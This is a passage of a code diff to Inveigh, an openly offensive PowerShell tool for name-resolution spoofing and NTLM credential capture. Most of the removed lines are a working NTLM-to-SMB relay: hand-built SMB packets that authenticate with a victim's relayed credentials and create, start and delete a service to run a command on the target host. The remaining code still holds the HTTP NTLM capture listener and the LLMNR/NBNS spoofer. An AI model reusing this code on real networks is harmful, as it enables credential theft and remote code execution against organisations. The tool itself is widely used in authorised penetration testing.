- + $inveigh.process_ID_bytes`
- + $SMB_user_ID`
- + (0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x50)`
- + (0x00,0x00,0x00,0x50,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
- + (0x00,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03)`
- + (0x00,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00)`
- + $SMB_machine_bytes`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00)
-
- $SMB_multiplex_id = (0x07)
- }
-
- 5 {
- [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
- }
-
- 6 {
- [Byte[]]$SMB_relay_execute_send = [ARRAY](0x00)`
- + $SMB_service_data_length_bytes`
- + (0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
- + $inveigh.process_ID_bytes`
- + $SMB_user_ID`
- + (0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x9f,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00)`
- + $SMB_service_byte_count_bytes`
- + (0x00,0x00)`
- + $SMB_service_byte_count_bytes`
- + (0x3f,0x00,0x00,0x00,0x00,0x00)`
- + $SMB_service_byte_count_bytes`
- + (0x05,0x00,0x00,0x03,0x10)`
- + (0x00,0x00,0x00)`
- + $SMB_service_byte_count_bytes`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x62,0x01,0x00,0x00,0x00,0x00,0x0c,0x00)`
- + $SMB_context_handler`
- + (0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x00,0x00)`
- + $SMB_service_bytes`
- + (0x21,0x03,0x03,0x00,0x11,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00)`
- + $SMB_service_display_bytes`
- + (0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
- + $SMB_relay_command_length_bytes`
- + (0x00,0x00,0x00,0x00)`
- + $SMB_relay_command_length_bytes`
- + $SMB_relay_command_bytes`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)
-
- $SMB_multiplex_id = (0x09)
- }
-
- 7 {
- [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
- }
-
- 8 {
- [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x93,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
- + $inveigh.process_ID_bytes`
- + $SMB_user_ID`
- + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x9f,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x54)`
- + (0x00,0x00,0x00,0x54,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x54,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
- + (0x00,0x54,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x00,0x00,0x00,0x00,0x10,0x00)`
- + $SMB_context_handler`
- + (0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x00,0x00)`
- + $SMB_service_bytes`
- + (0xff,0x01,0x0f,0x00)
-
- $SMB_multiplex_id = (0x0b)
- }
-
- 9 {
- [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
- }
-
- 10 {
- [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
- + $inveigh.process_ID_bytes`
- + $SMB_user_ID`
- + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x9f,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x34)`
- + (0x00,0x00,0x00,0x34,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
- + (0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x13,0x00)`
- + $SMB_context_handler`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)
- }
-
- 11 {
- [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
- }
-
- 12 {
- [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
- + $inveigh.process_ID_bytes`
- + $SMB_user_ID`
- + (0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x2c)`
- + (0x00,0x00,0x00,0x2c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
- + (0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x02,0x00)`
- + $SMB_context_handler
- }
- 13 {
- [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
- }
- }
-
- $SMB_relay_execute_stream.write($SMB_relay_execute_send, 0, $SMB_relay_execute_send.length)
- $SMB_relay_execute_stream.Flush()
-
- if($SMBRelayNetworkTimeout)
- {
- $SMB_relay_execute_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout
- $SMB_relay_execute_stopwatch = [diagnostics.stopwatch]::StartNew()
-
- while(!$SMB_relay_execute_stream.DataAvailable)
- {
- if($SMB_relay_execute_stopwatch.elapsed -ge $SMB_relay_execute_timeout)
- {
- $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")])
- $inveigh.SMB_relay_active_step = 0
- $SMB_relay_socket.Close()
- break SMB_relay_execute_loop
- }
- }
- }
-
- if ($k -eq 5)
- {
- $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)
- $SMB_context_handler = $SMB_relay_execute_bytes[88..107]
-
- if($SMB_relay_execute_bytes[108] -eq 0)
- {
- $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")])
- $SMB_relay_failed = $false
- }
- else
- {
- $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")])
- $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget"
- $SMB_relay_failed = $true
- }
- }
- elseif (($k -eq 7) -or ($k -eq 11) -or ($k -eq 13))
- {
- $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)
-
- switch($k)
- {
- 7 {
- $SMB_relay_execute_error_message = "Service creation fault context mismatch"
- }
- 11 {
- $SMB_relay_execute_error_message = "Service start fault context mismatch"
- }
- 13 {
- $SMB_relay_execute_error_message = "Service deletion fault context mismatch"
- }
- }
-
- if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq ('1a-00-00-1c'))
- {
- $inveigh.console_queue.add("$SMB_relay_execute_error_message service on $SMBRelayTarget")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $SMB_relay_execute_error on $SMBRelayTarget")])
- $SMB_relay_failed = $true
- }
- else
- {
- if(!$SMB_relay_failed)
- {
- $SMB_relay_failed = $false
- }
- }
- }
- elseif ($k -eq 9)
- {
- $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)
- $SMB_context_handler = $SMB_relay_execute_bytes[88..107]
-
- if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq ('1a-00-00-1c')) # need better checks
- {
- $inveigh.console_queue.add("Service open fault context mismatch on $SMBRelayTarget")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Service open fault context mismatch on $SMBRelayTarget")])
- $SMB_relay_failed = $true
- }
- }
- else
- {
- $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)
- }
-
- if((!$SMB_relay_failed) -and ($k -eq 11))
- {
- $inveigh.console_queue.add("SMB relay command likely executed on $SMBRelayTarget")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay command likely executed on $SMBRelayTarget")])
-
- if($SMBRelayAutoDisable -eq 'y')
- {
- $inveigh.SMB_relay = $false
- $inveigh.console_queue.add("SMB relay auto disabled due to success")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay auto disabled due to success")])
- }
- }
- elseif((!$SMB_relay_failed) -and ($k -eq 13))
- {
- $inveigh.console_queue.add("SMB relay command execution service deleted on $SMBRelayTarget")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay command execution service deleted on $SMBRelayTarget")])
- }
-
- [Byte[]]$SMB_relay_execute_ReadAndRequest = (0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
- + $inveigh.process_ID_bytes`
- + $SMB_user_ID`
- + $SMB_multiplex_ID`
- + (0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x19,0x03,0x00,0x00,0xed,0x01,0xed,0x01,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00)
-
- $k++
- }
-
- $inveigh.SMB_relay_active_step = 0
-
- $SMB_relay_socket.Close()
-
- }
-}
-
# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener
$HTTP_scriptblock =
{
- param ($Challenge,$SMBRelay,$SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$Repeat,$MachineAccounts,$ForceWPADAuth)
+ param ($MachineAccounts,$ForceWPADAuth)
Function NTLMChallengeBase64
{
@@ -1158,17 +637,16 @@ $HTTP_scriptblock =
$HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp))
$HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
- if($Challenge)
+ if($Inveigh.challenge)
{
- $HTTP_challenge = $Challenge
- $HTTP_challenge_bytes = $Challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-')
+ $HTTP_challenge = $Inveigh.challenge
+ $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-')
$HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
}
else
{
$HTTP_challenge_bytes = [String](1..8 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
$HTTP_challenge = $HTTP_challenge_bytes -replace ' ', ''
-
$HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
}
@@ -1187,18 +665,17 @@ $HTTP_scriptblock =
$NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)
$NTLM = 'NTLM ' + $NTLM_challenge_base64
$NTLM_challenge = $HTTP_challenge
-
+
Return $NTLM
}
- while ($inveigh.running)
+ while($inveigh.running)
{
$inveigh.context = $inveigh.HTTP_listener.GetContext()
$inveigh.request = $inveigh.context.Request
$inveigh.response = $inveigh.context.Response
$inveigh.message = ''
-
$NTLM = 'NTLM'
if($inveigh.request.IsSecureConnection)
@@ -1228,66 +705,12 @@ $HTTP_scriptblock =
[byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header)
$inveigh.response.StatusCode = 401
- if ($HTTP_request_bytes[8] -eq 1)
- {
- if(($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 0) -and ($inveigh.request.RemoteEndpoint.Address -ne $SMBRelayTarget))
- {
- $inveigh.SMB_relay_active_step = 1
- $inveigh.console_queue.add("$HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address + " at $(Get-Date -format 's')")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address)])
- $inveigh.console_queue.add("Grabbing challenge for relay from $SMBRelayTarget")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $SMBRelayTarget)])
- $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient
- $SMB_relay_socket.connect($SMBRelayTarget,"445")
-
- if(!$SMB_relay_socket.connected)
- {
- $inveigh.console_queue.add("$(Get-Date -format 's') - SMB relay target is not responding")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target is not responding")])
- $inveigh.SMB_relay_active_step = 0
- }
-
- if($inveigh.SMB_relay_active_step -eq 1)
- {
- $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes
- $inveigh.SMB_relay_active_step = 2
- $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.length]
- $SMB_user_ID = $SMB_relay_bytes[34..33]
- $SMB_relay_NTLM_challenge = $SMB_relay_bytes[102..109]
- $SMB_relay_target_details = $SMB_relay_bytes[118..257]
- $SMB_relay_time = $SMB_relay_bytes[258..265]
-
- [byte[]] $HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0x82,0x89,0xa2)`
- + $SMB_relay_NTLM_challenge`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
- + $SMB_relay_target_details`
- + $SMB_relay_time`
- + (0x00,0x00,0x00,0x00)
-
- $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)
- $NTLM = 'NTLM ' + $NTLM_challenge_base64
- $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes
- $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $NTLM_challenge)
- $inveigh.console_queue.add("Received challenge $NTLM_challenge for relay from $SMBRelayTarget")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $SMBRelayTarget")])
- $inveigh.console_queue.add("Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address)
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address)])
- $inveigh.SMB_relay_active_step = 3
- }
- else
- {
- $NTLM = NTLMChallengeBase64
- }
- }
- else
- {
- $NTLM = NTLMChallengeBase64
- }
-
+ if($HTTP_request_bytes[8] -eq 1)
+ {
$inveigh.response.StatusCode = 401
-
+ $NTLM = NTLMChallengeBase64
}
- elseif ($HTTP_request_bytes[8] -eq 3)
+ elseif($HTTP_request_bytes[8] -eq 3)
{
$NTLM = 'NTLM'
$HTTP_NTLM_offset = $HTTP_request_bytes[24]
@@ -1334,7 +757,7 @@ $HTTP_scriptblock =
}
}
- if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and ($Repeat -eq 'n'))
+ if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat))
{
$inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address
}
@@ -1360,7 +783,7 @@ $HTTP_scriptblock =
}
- if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and ($Repeat -eq 'n'))
+ if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat))
{
$inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address
}
@@ -1369,69 +792,6 @@ $HTTP_scriptblock =
$inveigh.response.StatusCode = 200
$NTLM_challenge = ''
- if (($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 3))
- {
- if((!$SMBRelayUsernames) -or ($SMBRelayUsernames -contains $HTTP_NTLM_user_string) -or ($SMBRelayUsernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))
- {
- if(($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))
- {
- if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget")
- {
- if($NTLM_type -eq 'NTLMv2')
- {
- $inveigh.console_queue.add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")])
- $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID
- $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.length]
-
- if((!$SMB_relay_failed) -and ([System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq ('00-00-00-00')))
- {
- $inveigh.console_queue.add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")])
- $inveigh.SMB_relay_active_step = 4
- SMBRelayExecute $SMB_relay_socket $SMB_user_ID
- }
- else
- {
- $inveigh.console_queue.add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")])
- $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget"
- $inveigh.SMB_relay_active_step = 0
- $SMB_relay_socket.Close()
- }
- }
- else
- {
- $inveigh.console_queue.add("NTLMv1 relay not yet supported")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")])
- $inveigh.SMB_relay_active_step = 0
- $SMB_relay_socket.Close()
- }
- }
- else
- {
- $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget")])
- $inveigh.SMB_relay_active_step = 0
- $SMB_relay_socket.Close()
- }
- }
- else
- {
- $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_user_string appears to be a machine account")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account")])
- $inveigh.SMB_relay_active_step = 0
- $SMB_relay_socket.Close()
- }
- }
- else
- {
- $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list")])
- $inveigh.SMB_relay_active_step = 0
- $SMB_relay_socket.Close()
- }
- }
}
else
{
@@ -1447,14 +807,16 @@ $HTTP_scriptblock =
$HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length)
$HTTP_stream.close()
}
- $inveigh.HTTP_listener.stop()
- $inveigh.HTTP_listener.close()
+
+ $inveigh.HTTP_listener.Stop()
+ $inveigh.HTTP_listener.Close()
+
}
# Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer
$sniffer_scriptblock =
{
- param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$Repeat,$MachineAccounts,$ForceWPADAuth,$RunTime)
+ param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$MachineAccounts,$ForceWPADAuth,$RunTime)
$byte_in = New-Object Byte[] 4
$byte_out = New-Object Byte[] 4
@@ -1478,12 +840,7 @@ $sniffer_scriptblock =
while($inveigh.running)
{
- try
- {
- $packet_data = $inveigh.sniffer_socket.Receive($byte_data,0,$byte_data.length,[Net.Sockets.SocketFlags]::None)
- }
- catch
- {}
+ $packet_data = $inveigh.sniffer_socket.Receive($byte_data,0,$byte_data.length,[Net.Sockets.SocketFlags]::None)
$memory_stream = New-Object System.IO.MemoryStream($byte_data,0,$packet_data)
$binary_reader = New-Object System.IO.BinaryReader($memory_stream)
@@ -1760,7 +1117,10 @@ $sniffer_scriptblock =
}
}
+ $inveigh.HTTP = $false
+ $inveigh.HTTPS = $false
$inveigh.running = $false
+ $inveigh.relay_running = $false
}
}
@@ -1786,6 +1146,11 @@ $sniffer_scriptblock =
}
}
}
+
+ $binary_reader.Close()
+ $memory_stream.Dispose()
+ $memory_stream.Close()
+
}
# End ScriptBlocks
@@ -1818,10 +1183,7 @@ Function HTTPListener()
$HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null
$HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null
$HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
- $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument(
- $SMBRelay).AddArgument($SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument(
- $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument($Repeat).AddArgument(
- $MachineAccounts).AddArgument($ForceWPADAuth) > $null
+ $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($MachineAccounts).AddArgument($ForceWPADAuth) > $null
$HTTP_handle = $HTTP_powershell.BeginInvoke()
}
@@ -1837,7 +1199,7 @@ Function SnifferSpoofer()
$sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
$sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($LLMNR_response_message).AddArgument(
$NBNS_response_message).AddArgument($IP).AddArgument($SpooferIP).AddArgument($SMB).AddArgument(
- $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($Repeat).AddArgument(
+ $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument(
$MachineAccounts).AddArgument($ForceWPADAuth).AddArgument($RunTime) > $null
$sniffer_handle = $sniffer_powershell.BeginInvoke()
}
@@ -1847,7 +1209,7 @@ Function SnifferSpoofer()
# Startup Enabled Services
# HTTP Server Start
-if(($inveigh.HTTP) -or ($inveigh.HTTPS))
+if(($inveigh.HTTP -or $inveigh.HTTPS) -and $SMBRelay -eq 'n')
{
HTTPListener
}
@@ -1857,7 +1219,6 @@ SnifferSpoofer
if($inveigh.console_output)
{
-
:console_loop while(($inveigh.running) -and ($inveigh.console_output))
{
while($inveigh.console_queue.Count -gt 0)
@@ -1931,13 +1292,14 @@ Function Stop-Inveigh
{
<#
.SYNOPSIS
- Stop-Inveigh will stop Inveigh.
+ Stop-InveighRelay will stop all running Inveigh functions.
#>
if($inveigh)
{
- if($inveigh.running)
+ if($inveigh.running -or $inveigh.relay_running)
{
$inveigh.running = $false
+ $inveigh.relay_running = $false
if($inveigh.HTTP_listener.IsListening)
{
@@ -1981,40 +1343,47 @@ Function Stop-Inveigh
}
}
}
+
+ $inveigh.HTTP = $false
+ $inveigh.HTTPS = $false
+
}
else
{
$inveigh.status_queue.add("Inveigh isn't running")|Out-Null
}
- while($inveigh.status_queue.Count -gt 0)
+ if($inveigh.status_output)
{
- if($inveigh.output_stream_only)
+ while($inveigh.status_queue.Count -gt 0)
{
- write-output($inveigh.status_queue[0] + $inveigh.newline)
- $inveigh.status_queue.RemoveRange(0,1)
- }
- else
- {
- switch -wildcard ($inveigh.status_queue[0])
+ if($inveigh.output_stream_only)
{
- "Inveigh exited at *"
- {
- write-warning $inveigh.status_queue[0]
- $inveigh.status_queue.RemoveRange(0,1)
- }
- "SSL Certificate Deletion Error - Remove Manually"
- {
- write-warning $inveigh.status_queue[0]
- $inveigh.status_queue.RemoveRange(0,1)
- }
- default
+ write-output($inveigh.status_queue[0] + $inveigh.newline)
+ $inveigh.status_queue.RemoveRange(0,1)
+ }
+ else
+ {
+ switch -wildcard ($inveigh.status_queue[0])
{
- write-output $inveigh.status_queue[0]
- $inveigh.status_queue.RemoveRange(0,1)
- }
- }
- }
+ "Inveigh exited at *"
+ {
+ write-warning $inveigh.status_queue[0]
+ $inveigh.status_queue.RemoveRange(0,1)
+ }
+ "SSL Certificate Deletion Error - Remove Manually"
+ {
+ write-warning $inveigh.status_queue[0]
+ $inveigh.status_queue.RemoveRange(0,1)
+ }
+ default
+ {
+ write-output $inveigh.status_queue[0]
+ $inveigh.status_queue.RemoveRange(0,1)
+ }
+ }
+ }
+ }
}
}
@@ -2127,11 +1496,11 @@ Function Watch-Inveigh
{
<#
.SYNOPSIS
- Watch-Inveigh will enabled real time console output. If using this cmdlet through a shell, test to ensure that it doesn't hang the shell.
+ Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell.
#>
if($inveigh.tool -ne 1)
{
- if($inveigh.running)
+ if($inveigh.running -or $inveigh.relay_running)
{
Write-Output "Press any key to stop real time console output"
$inveigh.console_output = $true
@@ -2207,45 +1576,24 @@ Function Watch-Inveigh
{
Write-Output "Watch-Inveigh cannot be used with current external tool selection"
}
-
}
Function Clear-Inveigh
{
<#
.SYNOPSIS
- Clear-Inveigh will clear Inveigh's NTLMv1, NTLMv2, log, output, failed smbrelay, and spoof repeat suppression lists.
+ Clear-Inveigh will clear Inveigh data from memory.
#>
if($inveigh)
{
- $inveigh.console_queue = New-Object System.Collections.ArrayList
- $inveigh.log_list = New-Object System.Collections.ArrayList
- $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList
- $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList
- $inveigh.log_file_queue = New-Object System.Collections.ArrayList
- $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList
- $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList
- $inveigh.IP_capture_list = @()
- $inveigh.SMBRelay_failed_list = @()
+ if(!$inveigh.running -and !$inveigh.relay_running)
+ {
+ Remove-Variable inveigh -scope global
+ Write-Output "Inveigh data has been cleared from memory"
+ }
+ else
+ {
